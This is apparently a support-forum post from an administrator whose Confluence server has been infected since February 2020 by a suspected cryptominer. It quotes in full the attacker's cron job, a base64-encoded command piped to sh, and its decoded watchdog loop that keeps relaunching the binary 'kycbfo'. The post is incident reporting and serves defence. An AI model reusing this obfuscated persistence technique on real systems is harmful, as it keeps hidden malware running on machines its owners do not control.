Hi
last Feb 15, 2020 up to now. we have observed that our CPU is throttling due to an unknown app running in background. as per checking via top and ps commands the app are run by confluence user. furthermore it seems that it runs a binary app which is located "/opt/atlassian/confluence/temp" and is run via cron job "/var/spool/cron/confluence"
============ inside the confluence cron job file ============
* * * * * echo -n "KCB3aGlsZSA6IDsgZG8gc2xlZXAgNSA7IGlmICEga2lsbCAtMCA3OTQyID4vZGV2L251bGwgMj4mMSA7IHRoZW4gL29wdC9hdGxhc3NpYW4vY29uZmx1ZW5jZS90ZW1wL2t5Y2JmbyA+L2Rldi9udWxsIDI+JjEgOyBmaSA7IGRvbmUgKSAmIHBpZD0kISA7IChzbGVlcCAxMCAmJiBraWxsIC05ICRwaWQpICY=" | base64 -d | sh >/dev/null 2>&1
============ after decoding the the string via base64 ============
( while : ; do sleep 5 ; if ! kill -0 7942 >/dev/null 2>&1 ; then /opt/atlassian/confluence/temp/kycbfo >/dev/null 2>&1 ; fi ; done ) & pid=$! ; (sleep 10 && kill -9 $pid) &
mitigating it by killing the process wont do much as it will run another process again.
disabling the /tmp folder and killing the process seems work. but after enabling the /tmp folder again. the unknown app will run again.
but by totally changing the folder name of atlassian to
/opt/atlass_IAN/conflue_NCE and same to with /var/atllas_IAN
does the trick to mitigate the problem. it totally stops the apps which throttle the CPU usage. the only thing is it the confluence will no longer work. but for other application running on the server, will no longer be affected of slow down.
we had the same issue, i think 3 to 4 years ago, with almost the same scenario.
but that case is due to cpu miner. i believe this is somewhat the same, a possible cpu miner too. but probably a newer strain of malware.
i think the difference is, before the malware we got is somehow easy to trace as you can read the code where in it gets the script souce to a pastebin url. now its different as the "kycbfo" is ELF binary cannot check where it pulls script.
tried to check in the internet but did not find anything which is related to our scenario. used this keyword to check "base64 + crypto miner + confluence" but did not find any. so maybe its a new strain of malware.
if you need the ELF binary i can send it to you. so you can check it too.
hope you can reply anytime soon. as we need fix/patch to our server.
thank you
